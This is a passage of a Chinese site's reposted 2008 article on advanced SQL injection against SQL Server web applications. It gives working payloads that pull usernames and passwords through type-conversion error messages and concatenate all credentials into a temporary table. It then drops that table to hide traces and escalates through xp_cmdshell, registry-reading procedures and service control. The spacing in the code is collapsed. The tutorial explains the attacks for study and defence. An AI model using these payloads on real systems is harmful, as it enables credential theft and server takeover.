首页 | 源码下载 | 网站模板 | 网页特效 | 广告代码 | 网页素材 | 字体下载 | 书库 | 站长工具
会员投稿 投稿指南 RSS订阅
当前位置:主页>网络编程>SQL server>资讯:SQLServer应用程序中的高级SQL注入

SQLServer应用程序中的高级SQL注入

www.jz123.cn  2008-09-09   来源:   中国建站    袁袁整理    我要投递新闻


MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'admin'toacolumnofdatatypeint.
/process_login.asp,line35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username:'unionselectmin(username),1,1,1fromuserswhereusername>'admin'—
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'chris'toacolumnofdatatypeint.
/process_login.asp,line35
一旦攻击者确定了用户名,他就可以开始收集密码:
Username:'unionselectpassword,1,1,1fromuserswhereusername='admin'—
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'r00tr0x!'toacolumnofdatatypeint.
/process_login.asp,line35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begindeclare@retvarchar(8000)
set@ret=':'
select@ret=@ret+''+username+'/'+passwordfromuserswhere
username>@ret
select@retasretintofoo
end
攻击者使用这个当作用户名登陆(都在一行)
Username:'';begindeclare@retvarchar(8000)set@ret='':''select@ret=@ret+''''+username+''/''+passwordfromuserswhereusername>@retselect@retasretintofooend—
这就创建了一个foo表,里面只有一个单独的列''ret'',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:''unionselectret,1,1,1fromfoo—
MicrosoftOLEDBProviderforODBCDriverserror''80040e07''

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue'':admin/r00tr0x!guest/guestchris/passwordfred/sesame''toacolumnofdatatypeint.
/process_login.asp,line35
然后丢弃(删除)表来清楚脚印:
Username:'';droptablefoo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1.在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2.利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
3.利用其他存储过程去改变服务器
4.在连接的服务器上执行查询
5.创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6.使用''bulkinsert''语法去读服务器上的任意文件
7.使用bcp在服务器上建立任意的文本格式的文件
8.使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Execmaster..xp_cmdshell''dir''
将获得SQLSERVER进程的当前工作目录中的目录列表。
Execmaster..xp_cmdshell''netuser''
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite

这些函数的使用方法举例如下:
execxp_regreadHKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''
这将确定什么样的会话连接在服务器上是可以使用的

execxp_regenumvaluesHKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities''
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
execmaster..xp_servicecontrol''start'',''schedule''
execmaster..xp_servicecontrol''start'',''server''
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia显示机器上有用的驱动器
Xp_dirtree允许获得一个目录树
Xp_enumdsn列举服务器上的ODBC数据源
Xp_loginconfigRevealsinformationaboutthesecuritymodeoftheserver
Xp_makecab允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains列举服务器可以进入的域

上一篇:sql标签嵌套调用实现循环显示栏目文章标签 下一篇:MYSQL使用简述

评论总数:2 [ 查看全部 ] 网友评论